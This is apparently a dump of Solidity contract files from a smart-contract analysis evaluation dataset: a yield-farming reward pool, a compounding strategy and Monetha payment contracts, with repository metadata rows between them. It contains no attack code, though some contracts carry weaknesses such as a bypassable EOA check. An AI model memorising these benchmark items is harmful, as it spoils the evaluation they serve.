function _deposit(address account, uint amount) internal {
require(DEPOSITS_ENABLED == true, "CompoundingGondola::_deposit");
if (MAX_TOKENS_TO_DEPOSIT_WITHOUT_REINVEST > 0) {
uint unclaimedRewards = checkReward();
if (unclaimedRewards > MAX_TOKENS_TO_DEPOSIT_WITHOUT_REINVEST) {
_reinvest(unclaimedRewards);
}
}
require(depositToken.transferFrom(msg.sender, address(this), amount));
_stakeDepositTokens(amount);
_mint(account, getSharesForDepositTokens(amount));
totalDeposits = totalDeposits.add(amount);
emit Deposit(account, amount);
}
function withdraw(uint amount) external override {
uint depositTokenAmount = getDepositTokensForShares(amount);
if (depositTokenAmount > 0) {
_withdrawDepositTokens(depositTokenAmount);
require(depositToken.transfer(msg.sender, depositTokenAmount), "CompoundingGondola::withdraw");
_burn(msg.sender, amount);
totalDeposits = totalDeposits.sub(depositTokenAmount);
emit Withdraw(msg.sender, depositTokenAmount);
}
}
function _withdrawDepositTokens(uint amount) private {
require(amount > 0, "CompoundingGondola::_withdrawDepositTokens");
stakingContract.withdraw(PID, amount);
}
function reinvest() external override onlyEOA {
uint unclaimedRewards = checkReward();
require(unclaimedRewards >= MIN_TOKENS_TO_REINVEST, "CompoundingGondola::reinvest");
_reinvest(unclaimedRewards);
}
function _reinvest(uint amount) private {
stakingContract.deposit(PID, 0);
uint devFee = amount.mul(DEV_FEE_BIPS).div(BIPS_DIVISOR);
if (devFee > 0) {
require(rewardToken.transfer(devAddr, devFee), "CompoundingGondola::_reinvest, dev");
}
uint adminFee = amount.mul(ADMIN_FEE_BIPS).div(BIPS_DIVISOR);
if (adminFee > 0) {
require(rewardToken.transfer(owner(), adminFee), "CompoundingGondola::_reinvest, admin");
}
uint reinvestFee = amount.mul(REINVEST_REWARD_BIPS).div(BIPS_DIVISOR);
if (reinvestFee > 0) {
require(rewardToken.transfer(msg.sender, reinvestFee), "CompoundingGondola::_reinvest, reward");
}
uint depositTokenAmount = amount.sub(devFee).sub(adminFee).sub(reinvestFee);
_stakeDepositTokens(depositTokenAmount);
totalDeposits = totalDeposits.add(depositTokenAmount);
emit Reinvest(totalDeposits, totalSupply);
}
function _stakeDepositTokens(uint amount) private {
require(amount > 0, "CompoundingGondola::_stakeDepositTokens");
stakingContract.deposit(PID, amount);
}
function checkReward() public override view returns (uint) {
uint pendingReward = stakingContract.pendingGondola(PID, address(this));
uint contractBalance = rewardToken.balanceOf(address(this));
return pendingReward.add(contractBalance);
}
function estimateDeployedBalance() external override view returns (uint) {
(uint depositBalance,) = stakingContract.userInfo(PID, address(this));
return depositBalance;
}
function rescueDeployedFunds(uint minReturnAmountAccepted, bool disableDeposits) external override onlyOwner {
uint balanceBefore = depositToken.balanceOf(address(this));
stakingContract.emergencyWithdraw(PID);
uint balanceAfter = depositToken.balanceOf(address(this));
require(balanceAfter.sub(balanceBefore) >= minReturnAmountAccepted, "CompoundingGondola::rescueDeployedFunds");
totalDeposits = balanceAfter;
emit Reinvest(totalDeposits, totalSupply);
if (DEPOSITS_ENABLED == true && disableDeposits == true) {
updateDepositsEnabled(false);
}
}
}
| 15,671 | 10,832 |
94ce464a234f16f25de7138a97a0e596306c421041f108e1ae5bdb38dd0b8eef
| 12,584 |
.sol
|
Solidity
| false |
447145837
|
darkcryptofinance/darkcrypto-contracts
|
50197b101942a5c088e387d5d660410910df38b2
|
contracts/distribution/DarkRewardPool.sol
| 3,288 | 12,480 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
contract DarkRewardPool {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// governance
address public operator;
address public reserveFund;
// flags
uint256 private _locked = 0;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. DARKs to distribute per block.
uint256 lastRewardTime; // Last timestamp that DARKs distribution occurs.
uint256 accDarkPerShare; // Accumulated DARKs per share, times 1e18. See below.
bool isStarted; // if lastRewardTime has passed
uint16 depositFeeBP; // Deposit fee in basis points
uint256 startTime;
}
address public dark;
// DARK tokens created per second.
uint256 public rewardPerSecond;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The timestamp when DARK mining starts.
uint256 public startTime;
uint256 public endTime;
uint256 public nextHalvingTime;
uint256 public rewardHalvingRate = 8000;
bool public halvingChecked = true;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event RewardPaid(address indexed user, uint256 indexed pid, uint256 amount);
constructor(address _dark,
uint256 _rewardPerSecond,
uint256 _startTime,
address _reserveFund) public {
require(now < _startTime, "late");
dark = _dark;
rewardPerSecond = _rewardPerSecond;
reserveFund = _reserveFund;
startTime = _startTime;
endTime = _startTime.add(3 weeks);
nextHalvingTime = _startTime.add(7 days);
operator = msg.sender;
}
modifier lock() {
require(_locked == 0, "LOCKED");
_locked = 1;
_;
_locked = 0;
}
modifier onlyOperator() {
require(operator == msg.sender, "DarkRewardPool: caller is not the operator");
_;
}
modifier checkHalving() {
if (halvingChecked) {
halvingChecked = false;
if (now >= endTime) {
massUpdatePools();
rewardPerSecond = 0; // stop farming
nextHalvingTime = type(uint256).max;
} else {
if (now >= nextHalvingTime) {
massUpdatePools();
rewardPerSecond = rewardPerSecond.mul(rewardHalvingRate).div(10000); // x80% (20% decreased every week)
nextHalvingTime = nextHalvingTime.add(7 days);
}
halvingChecked = true;
}
}
_;
}
function resetStartTime(uint256 _startTime) external onlyOperator {
require(startTime > now && _startTime > now, "late");
startTime = _startTime;
endTime = _startTime.add(10 weeks);
nextHalvingTime = _startTime.add(7 days);
}
function setReserveFund(address _reserveFund) external onlyOperator {
reserveFund = _reserveFund;
}
// anyone can stop this farming by rule
function stopFarming() external {
require(rewardPerSecond > 0, "already stopped");
require(now >= endTime, "farming is not ended yet");
massUpdatePools();
rewardPerSecond = 0; // stop farming
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
function checkPoolDuplicate(IERC20 _lpToken) internal view {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
require(poolInfo[pid].lpToken != _lpToken, "add: existing pool?");
}
}
// Add a new lp to the pool. Can only be called by the owner.
function add(uint256 _allocPoint, IERC20 _lpToken, uint16 _depositFeeBP, uint256 _lastRewardTime) public onlyOperator {
require(_allocPoint <= 100000, "too high allocation point"); // <= 100x
require(_depositFeeBP <= 1000, "too high fee"); // <= 10%
checkPoolDuplicate(_lpToken);
massUpdatePools();
if (now < startTime) {
// chef is sleeping
if (_lastRewardTime == 0) {
_lastRewardTime = startTime;
} else {
if (_lastRewardTime < startTime) {
_lastRewardTime = startTime;
}
}
} else {
// chef is cooking
if (_lastRewardTime == 0 || _lastRewardTime < now) {
_lastRewardTime = now;
}
}
bool _isStarted = (_lastRewardTime <= startTime) || (_lastRewardTime <= now);
poolInfo.push(PoolInfo({
lpToken : _lpToken,
allocPoint : _allocPoint,
lastRewardTime : _lastRewardTime,
accDarkPerShare : 0,
isStarted : _isStarted,
depositFeeBP : _depositFeeBP,
startTime : _lastRewardTime
}));
if (_isStarted) {
totalAllocPoint = totalAllocPoint.add(_allocPoint);
}
}
// Update the given pool's DARK allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, uint16 _depositFeeBP) public onlyOperator {
require(_allocPoint <= 100000, "too high allocation point"); // <= 100x
require(_depositFeeBP <= 1000, "too high fee"); // <= 10%
massUpdatePools();
PoolInfo storage pool = poolInfo[_pid];
if (pool.isStarted) {
totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add(_allocPoint);
}
pool.allocPoint = _allocPoint;
pool.depositFeeBP = _depositFeeBP;
}
// View function to see pending DARKs on frontend.
function pendingReward(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accDarkPerShare = pool.accDarkPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (now > pool.lastRewardTime && lpSupply != 0) {
uint256 _time = now.sub(pool.lastRewardTime);
if (totalAllocPoint > 0) {
uint256 _darkReward = _time.mul(rewardPerSecond).mul(pool.allocPoint).div(totalAllocPoint);
accDarkPerShare = accDarkPerShare.add(_darkReward.mul(1e18).div(lpSupply));
}
}
return user.amount.mul(accDarkPerShare).div(1e18).sub(user.rewardDebt);
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (now <= pool.lastRewardTime) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardTime = now;
return;
}
if (!pool.isStarted) {
pool.isStarted = true;
totalAllocPoint = totalAllocPoint.add(pool.allocPoint);
}
if (totalAllocPoint > 0) {
uint256 _time = now.sub(pool.lastRewardTime);
uint256 _darkReward = _time.mul(rewardPerSecond).mul(pool.allocPoint).div(totalAllocPoint);
pool.accDarkPerShare = pool.accDarkPerShare.add(_darkReward.mul(1e18).div(lpSupply));
}
pool.lastRewardTime = now;
}
function _harvestReward(uint256 _pid, address _account) internal {
UserInfo storage user = userInfo[_pid][_account];
if (user.amount > 0) {
PoolInfo storage pool = poolInfo[_pid];
uint256 _claimableAmount = user.amount.mul(pool.accDarkPerShare).div(1e18).sub(user.rewardDebt);
if (_claimableAmount > 0) {
safeDarkTransfer(_account, _claimableAmount);
emit RewardPaid(_account, _pid, _claimableAmount);
}
}
}
function deposit(uint256 _pid, uint256 _amount) public lock checkHalving {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
_harvestReward(_pid, msg.sender);
if (_amount > 0) {
// support deflation token
IERC20 _lpToken = pool.lpToken;
uint256 _before = _lpToken.balanceOf(address(this));
_lpToken.safeTransferFrom(msg.sender, address(this), _amount);
uint256 _after = _lpToken.balanceOf(address(this));
_amount = _after - _before;
if (pool.depositFeeBP > 0) {
uint256 _depositFee = _amount.mul(pool.depositFeeBP).div(10000);
pool.lpToken.safeTransfer(reserveFund, _depositFee);
user.amount = user.amount.add(_amount).sub(_depositFee);
} else {
user.amount = user.amount.add(_amount);
}
}
user.rewardDebt = user.amount.mul(pool.accDarkPerShare).div(1e18);
emit Deposit(msg.sender, _pid, _amount);
}
function withdraw(uint256 _pid, uint256 _amount) public lock checkHalving {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
_harvestReward(_pid, msg.sender);
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(msg.sender, _amount);
}
user.rewardDebt = user.amount.mul(pool.accDarkPerShare).div(1e18);
emit Withdraw(msg.sender, _pid, _amount);
}
function withdrawAll(uint256 _pid) external {
withdraw(_pid, userInfo[_pid][msg.sender].amount);
}
function harvestAllRewards() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
if (userInfo[pid][msg.sender].amount > 0) {
withdraw(pid, 0);
}
}
}
// Safe dark transfer function, just in case if rounding error causes pool to not have enough DARKs.
function safeDarkTransfer(address _to, uint256 _amount) internal {
uint256 _darkBal = IERC20(dark).balanceOf(address(this));
if (_darkBal > 0) {
if (_amount > _darkBal) {
IERC20(dark).safeTransfer(_to, _darkBal);
} else {
IERC20(dark).safeTransfer(_to, _amount);
}
}
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) external lock {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 _amount = user.amount;
user.amount = 0;
user.rewardDebt = 0;
pool.lpToken.safeTransfer(address(msg.sender), _amount);
emit EmergencyWithdraw(msg.sender, _pid, _amount);
}
function governanceRecoverUnsupported(IERC20 _token, uint256 _amount, address _to) external onlyOperator {
if (now < endTime.add(365 days)) {
// do not allow to drain lpToken if less than 1 year after farming ends
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
PoolInfo storage pool = poolInfo[pid];
require(_token != pool.lpToken, "pool.lpToken");
}
}
_token.safeTransfer(_to, _amount);
}
}
| 65,791 | 10,833 |
27537423c26b56690cbec0e1a2a8bedc95333d8ac29d5f68e43ee2fe986ba355
| 33,317 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x840507196d587f9fb0f9f345267a967d52a998ee.sol
| 4,968 | 20,674 |
pragma solidity ^0.4.24;
// File: zeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/lifecycle/Pausable.sol
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
// File: zeppelin-solidity/contracts/lifecycle/Destructible.sol
contract Destructible is Ownable {
function Destructible() payable { }
function destroy() onlyOwner public {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
}
// File: zeppelin-solidity/contracts/ownership/Contactable.sol
contract Contactable is Ownable{
string public contactInformation;
function setContactInformation(string info) onlyOwner public {
contactInformation = info;
}
}
// File: contracts/Restricted.sol
contract Restricted is Ownable {
//MonethaAddress set event
event MonethaAddressSet(address _address,
bool _isMonethaAddress);
mapping (address => bool) public isMonethaAddress;
modifier onlyMonetha() {
require(isMonethaAddress[msg.sender]);
_;
}
function setMonethaAddress(address _address, bool _isMonethaAddress) onlyOwner public {
isMonethaAddress[_address] = _isMonethaAddress;
MonethaAddressSet(_address, _isMonethaAddress);
}
}
// File: contracts/ERC20.sol
contract ERC20 {
function totalSupply() public view returns (uint256);
function decimals() public view returns(uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
// Return type not defined intentionally since not all ERC20 tokens return proper result type
function transfer(address _to, uint256 _value) public;
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(address indexed from,
address indexed to,
uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
// File: contracts/MonethaGateway.sol
contract MonethaGateway is Pausable, Contactable, Destructible, Restricted {
using SafeMath for uint256;
string constant VERSION = "0.5";
uint public constant FEE_PERMILLE = 15;
address public monethaVault;
address public admin;
event PaymentProcessedEther(address merchantWallet, uint merchantIncome, uint monethaIncome);
event PaymentProcessedToken(address tokenAddress, address merchantWallet, uint merchantIncome, uint monethaIncome);
constructor(address _monethaVault, address _admin) public {
require(_monethaVault != 0x0);
monethaVault = _monethaVault;
setAdmin(_admin);
}
function acceptPayment(address _merchantWallet, uint _monethaFee) external payable onlyMonetha whenNotPaused {
require(_merchantWallet != 0x0);
require(_monethaFee >= 0 && _monethaFee <= FEE_PERMILLE.mul(msg.value).div(1000)); // Monetha fee cannot be greater than 1.5% of payment
uint merchantIncome = msg.value.sub(_monethaFee);
_merchantWallet.transfer(merchantIncome);
monethaVault.transfer(_monethaFee);
emit PaymentProcessedEther(_merchantWallet, merchantIncome, _monethaFee);
}
function acceptTokenPayment(address _merchantWallet,
uint _monethaFee,
address _tokenAddress,
uint _value)
external onlyMonetha whenNotPaused
{
require(_merchantWallet != 0x0);
// Monetha fee cannot be greater than 1.5% of payment
require(_monethaFee >= 0 && _monethaFee <= FEE_PERMILLE.mul(_value).div(1000));
uint merchantIncome = _value.sub(_monethaFee);
ERC20(_tokenAddress).transfer(_merchantWallet, merchantIncome);
ERC20(_tokenAddress).transfer(monethaVault, _monethaFee);
emit PaymentProcessedToken(_tokenAddress, _merchantWallet, merchantIncome, _monethaFee);
}
function changeMonethaVault(address newVault) external onlyOwner whenNotPaused {
monethaVault = newVault;
}
function setMonethaAddress(address _address, bool _isMonethaAddress) public {
require(msg.sender == admin || msg.sender == owner);
isMonethaAddress[_address] = _isMonethaAddress;
emit MonethaAddressSet(_address, _isMonethaAddress);
}
function setAdmin(address _admin) public onlyOwner {
require(_admin != 0x0);
admin = _admin;
}
}
// File: contracts/MerchantDealsHistory.sol
contract MerchantDealsHistory is Contactable, Restricted {
string constant VERSION = "0.3";
/// Merchant identifier hash
bytes32 public merchantIdHash;
//Deal event
event DealCompleted(uint orderId,
address clientAddress,
uint32 clientReputation,
uint32 merchantReputation,
bool successful,
uint dealHash);
//Deal cancellation event
event DealCancelationReason(uint orderId,
address clientAddress,
uint32 clientReputation,
uint32 merchantReputation,
uint dealHash,
string cancelReason);
//Deal refund event
event DealRefundReason(uint orderId,
address clientAddress,
uint32 clientReputation,
uint32 merchantReputation,
uint dealHash,
string refundReason);
function MerchantDealsHistory(string _merchantId) public {
require(bytes(_merchantId).length > 0);
merchantIdHash = keccak256(_merchantId);
}
function recordDeal(uint _orderId,
address _clientAddress,
uint32 _clientReputation,
uint32 _merchantReputation,
bool _isSuccess,
uint _dealHash)
external onlyMonetha
{
DealCompleted(_orderId,
_clientAddress,
_clientReputation,
_merchantReputation,
_isSuccess,
_dealHash);
}
function recordDealCancelReason(uint _orderId,
address _clientAddress,
uint32 _clientReputation,
uint32 _merchantReputation,
uint _dealHash,
string _cancelReason)
external onlyMonetha
{
DealCancelationReason(_orderId,
_clientAddress,
_clientReputation,
_merchantReputation,
_dealHash,
_cancelReason);
}
function recordDealRefundReason(uint _orderId,
address _clientAddress,
uint32 _clientReputation,
uint32 _merchantReputation,
uint _dealHash,
string _refundReason)
external onlyMonetha
{
DealRefundReason(_orderId,
_clientAddress,
_clientReputation,
_merchantReputation,
_dealHash,
_refundReason);
}
}
// File: contracts/SafeDestructible.sol
contract SafeDestructible is Ownable {
function destroy() onlyOwner public {
require(this.balance == 0);
selfdestruct(owner);
}
}
// File: contracts/MerchantWallet.sol
contract MerchantWallet is Pausable, SafeDestructible, Contactable, Restricted {
string constant VERSION = "0.5";
/// Address of merchant's account, that can withdraw from wallet
address public merchantAccount;
/// Address of merchant's fund address.
address public merchantFundAddress;
/// Unique Merchant identifier hash
bytes32 public merchantIdHash;
/// profileMap stores general information about the merchant
mapping (string=>string) profileMap;
/// paymentSettingsMap stores payment and order settings for the merchant
mapping (string=>string) paymentSettingsMap;
/// compositeReputationMap stores composite reputation, that compraises from several metrics
mapping (string=>uint32) compositeReputationMap;
/// number of last digits in compositeReputation for fractional part
uint8 public constant REPUTATION_DECIMALS = 4;
modifier onlyMerchant() {
require(msg.sender == merchantAccount);
_;
}
modifier isEOA(address _fundAddress) {
uint256 _codeLength;
assembly {_codeLength := extcodesize(_fundAddress)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier onlyMerchantOrMonetha() {
require(msg.sender == merchantAccount || isMonethaAddress[msg.sender]);
_;
}
constructor(address _merchantAccount, string _merchantId, address _fundAddress) public isEOA(_fundAddress) {
require(_merchantAccount != 0x0);
require(bytes(_merchantId).length > 0);
merchantAccount = _merchantAccount;
merchantIdHash = keccak256(_merchantId);
merchantFundAddress = _fundAddress;
}
function () external payable {
}
function profile(string key) external constant returns (string) {
return profileMap[key];
}
function paymentSettings(string key) external constant returns (string) {
return paymentSettingsMap[key];
}
function compositeReputation(string key) external constant returns (uint32) {
return compositeReputationMap[key];
}
function setProfile(string profileKey,
string profileValue,
string repKey,
uint32 repValue)
external onlyOwner
{
profileMap[profileKey] = profileValue;
if (bytes(repKey).length != 0) {
compositeReputationMap[repKey] = repValue;
}
}
function setPaymentSettings(string key, string value) external onlyOwner {
paymentSettingsMap[key] = value;
}
function setCompositeReputation(string key, uint32 value) external onlyMonetha {
compositeReputationMap[key] = value;
}
function doWithdrawal(address beneficiary, uint amount) private {
require(beneficiary != 0x0);
beneficiary.transfer(amount);
}
function withdrawTo(address beneficiary, uint amount) public onlyMerchant whenNotPaused {
doWithdrawal(beneficiary, amount);
}
function withdraw(uint amount) external onlyMerchant {
withdrawTo(msg.sender, amount);
}
function withdrawToExchange(address depositAccount, uint amount) external onlyMerchantOrMonetha whenNotPaused {
doWithdrawal(depositAccount, amount);
}
function withdrawAllToExchange(address depositAccount, uint min_amount) external onlyMerchantOrMonetha whenNotPaused {
require (address(this).balance >= min_amount);
doWithdrawal(depositAccount, address(this).balance);
}
function withdrawAllTokensToExchange(address _tokenAddress, address _depositAccount, uint _minAmount) external onlyMerchantOrMonetha whenNotPaused {
require(_tokenAddress != address(0));
uint balance = ERC20(_tokenAddress).balanceOf(address(this));
require(balance >= _minAmount);
ERC20(_tokenAddress).transfer(_depositAccount, balance);
}
function changeMerchantAccount(address newAccount) external onlyMerchant whenNotPaused {
merchantAccount = newAccount;
}
function changeFundAddress(address newFundAddress) external onlyMerchant isEOA(newFundAddress) {
merchantFundAddress = newFundAddress;
}
}
// File: contracts/PaymentProcessor.sol
contract PaymentProcessor is Pausable, Destructible, Contactable, Restricted {
using SafeMath for uint256;
string constant VERSION = "0.6";
uint public constant FEE_PERMILLE = 15;
/// MonethaGateway contract for payment processing
MonethaGateway public monethaGateway;
/// MerchantDealsHistory contract of acceptor's merchant
MerchantDealsHistory public merchantHistory;
/// Address of MerchantWallet, where merchant reputation and funds are stored
MerchantWallet public merchantWallet;
/// Merchant identifier hash, that associates with the acceptor
bytes32 public merchantIdHash;
enum State {Null, Created, Paid, Finalized, Refunding, Refunded, Cancelled}
struct Order {
State state;
uint price;
uint fee;
address paymentAcceptor;
address originAddress;
address tokenAddress;
}
mapping (uint=>Order) public orders;
modifier atState(uint _orderId, State _state) {
require(_state == orders[_orderId].state);
_;
}
modifier transition(uint _orderId, State _state) {
_;
orders[_orderId].state = _state;
}
constructor(string _merchantId,
MerchantDealsHistory _merchantHistory,
MonethaGateway _monethaGateway,
MerchantWallet _merchantWallet)
public
{
require(bytes(_merchantId).length > 0);
merchantIdHash = keccak256(_merchantId);
setMonethaGateway(_monethaGateway);
setMerchantWallet(_merchantWallet);
setMerchantDealsHistory(_merchantHistory);
}
function addOrder(uint _orderId,
uint _price,
address _paymentAcceptor,
address _originAddress,
uint _fee,
address _tokenAddress) external whenNotPaused atState(_orderId, State.Null)
{
require(_orderId > 0);
require(_price > 0);
require(_fee >= 0 && _fee <= FEE_PERMILLE.mul(_price).div(1000)); // Monetha fee cannot be greater than 1.5% of price
require(_paymentAcceptor != address(0));
require(_originAddress != address(0));
require(orders[_orderId].price == 0 && orders[_orderId].fee == 0);
orders[_orderId] = Order({
state: State.Created,
price: _price,
fee: _fee,
paymentAcceptor: _paymentAcceptor,
originAddress: _originAddress,
tokenAddress: _tokenAddress
});
}
function securePay(uint _orderId)
external payable whenNotPaused
atState(_orderId, State.Created) transition(_orderId, State.Paid)
{
Order storage order = orders[_orderId];
require(msg.sender == order.paymentAcceptor);
require(msg.value == order.price);
}
function secureTokenPay(uint _orderId)
external whenNotPaused
atState(_orderId, State.Created) transition(_orderId, State.Paid)
{
Order storage order = orders[_orderId];
require(msg.sender == order.paymentAcceptor);
require(order.tokenAddress != address(0));
ERC20(order.tokenAddress).transferFrom(msg.sender, address(this), order.price);
}
function cancelOrder(uint _orderId,
uint32 _clientReputation,
uint32 _merchantReputation,
uint _dealHash,
string _cancelReason)
external onlyMonetha whenNotPaused
atState(_orderId, State.Created) transition(_orderId, State.Cancelled)
{
require(bytes(_cancelReason).length > 0);
Order storage order = orders[_orderId];
updateDealConditions(_orderId,
_clientReputation,
_merchantReputation,
false,
_dealHash);
merchantHistory.recordDealCancelReason(_orderId,
order.originAddress,
_clientReputation,
_merchantReputation,
_dealHash,
_cancelReason);
}
function refundPayment(uint _orderId,
uint32 _clientReputation,
uint32 _merchantReputation,
uint _dealHash,
string _refundReason)
external onlyMonetha whenNotPaused
atState(_orderId, State.Paid) transition(_orderId, State.Refunding)
{
require(bytes(_refundReason).length > 0);
Order storage order = orders[_orderId];
updateDealConditions(_orderId,
_clientReputation,
_merchantReputation,
false,
_dealHash);
merchantHistory.recordDealRefundReason(_orderId,
order.originAddress,
_clientReputation,
_merchantReputation,
_dealHash,
_refundReason);
}
function withdrawRefund(uint _orderId)
external whenNotPaused
atState(_orderId, State.Refunding) transition(_orderId, State.Refunded)
{
Order storage order = orders[_orderId];
order.originAddress.transfer(order.price);
}
function withdrawTokenRefund(uint _orderId)
external whenNotPaused
atState(_orderId, State.Refunding) transition(_orderId, State.Refunded)
{
require(orders[_orderId].tokenAddress != address(0));
ERC20(orders[_orderId].tokenAddress).transfer(orders[_orderId].originAddress, orders[_orderId].price);
}
function processPayment(uint _orderId,
uint32 _clientReputation,
uint32 _merchantReputation,
uint _dealHash)
external onlyMonetha whenNotPaused
atState(_orderId, State.Paid) transition(_orderId, State.Finalized)
{
address fundAddress;
fundAddress = merchantWallet.merchantFundAddress();
if (orders[_orderId].tokenAddress != address(0)) {
if (fundAddress != address(0)) {
ERC20(orders[_orderId].tokenAddress).transfer(address(monethaGateway), orders[_orderId].price);
monethaGateway.acceptTokenPayment(fundAddress, orders[_orderId].fee, orders[_orderId].tokenAddress, orders[_orderId].price);
} else {
ERC20(orders[_orderId].tokenAddress).transfer(address(monethaGateway), orders[_orderId].price);
monethaGateway.acceptTokenPayment(merchantWallet, orders[_orderId].fee, orders[_orderId].tokenAddress, orders[_orderId].price);
}
} else {
if (fundAddress != address(0)) {
monethaGateway.acceptPayment.value(orders[_orderId].price)(fundAddress, orders[_orderId].fee);
} else {
monethaGateway.acceptPayment.value(orders[_orderId].price)(merchantWallet, orders[_orderId].fee);
}
}
updateDealConditions(_orderId,
_clientReputation,
_merchantReputation,
true,
_dealHash);
}
function setMonethaGateway(MonethaGateway _newGateway) public onlyOwner {
require(address(_newGateway) != 0x0);
monethaGateway = _newGateway;
}
function setMerchantWallet(MerchantWallet _newWallet) public onlyOwner {
require(address(_newWallet) != 0x0);
require(_newWallet.merchantIdHash() == merchantIdHash);
merchantWallet = _newWallet;
}
function setMerchantDealsHistory(MerchantDealsHistory _merchantHistory) public onlyOwner {
require(address(_merchantHistory) != 0x0);
require(_merchantHistory.merchantIdHash() == merchantIdHash);
merchantHistory = _merchantHistory;
}
function updateDealConditions(uint _orderId,
uint32 _clientReputation,
uint32 _merchantReputation,
bool _isSuccess,
uint _dealHash)
internal
{
merchantHistory.recordDeal(_orderId,
orders[_orderId].originAddress,
_clientReputation,
_merchantReputation,
_isSuccess,
_dealHash);
//update parties Reputation
merchantWallet.setCompositeReputation("total", _merchantReputation);
}
}
| 180,386 | 10,834 |
995420a680db47eeb899f998403a2c3174046eb19d839614ba9bdd6fa117fdf8
| 14,913 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x9d934a83fd602872d156c5adcf191bf65b5cd632.sol
| 3,065 | 11,496 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library Math {
